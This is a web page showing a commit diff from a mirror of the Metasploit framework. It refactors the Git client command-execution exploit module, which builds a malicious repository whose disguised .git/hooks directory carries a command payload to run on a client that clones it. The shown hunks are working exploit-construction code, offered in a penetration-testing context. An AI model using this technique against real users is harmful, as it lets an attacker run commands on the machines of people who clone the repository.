adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add git mixin changes and usage in git exploits

Browse Source
This commit is contained in:
Shelby Pace
2021-04-22 13:21:30 -05:00
committed by space-r7
parent 3fb225c9c6
commit d89554e995
4 changed files with 105 additions and 100 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/exploits/multi/http/git_client_command_exec.rb
+16 -13
View File
@@ -158,16 +158,18 @@ class MetasploitModule < Msf::Exploit::Remote
full_cmd = "#!/bin/sh\n#{psh}"
end
sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(full_cmd)
trigger = "/objects/#{blob_obj.path}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
@repo_data[:git][:files][trigger] = blob_obj.compressed
# build tree that points to the blob
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
blob_tree_ent = { mode: '100755', file_name: datastore['GIT_HOOK'], sha1: blob_obj.sha1 }
blob_tree_ptr = Msf::Exploit::Git::GitObject.build_tree_object(blob_tree_ent)
@repo_data[:git][:files]["/objects/#{blob_tree_ptr.path}"] = blob_tree_ptr.compressed
# build a tree that points to the hooks directory in which the hook lives, called hooks
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
hooks_ent = { mode: 40000, file_name: 'hooks', sha1: blob_tree_ptr.sha1 }
hooks_obj = Msf::Exploit::Git::GitObject.build_tree_object(hooks_ent)
@repo_data[:git][:files]["/objects/#{hooks_obj.path}"] = hooks_obj.compressed
# build a tree that points to the partially uppercased .git directory in
# which hooks live
variants = []
@@ -180,19 +182,20 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
git_tree_ent = { mode: '40000', file_name: git_dir, sha1: hooks_obj.sha1 }
git_tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(git_tree_ent)
@repo_data[:git][:files]["/objects/#{git_tree_obj.path}"] = git_tree_obj.compressed
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(git_tree_obj.sha1)
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
commit_obj.content.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
@repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
end
def setup_mercurial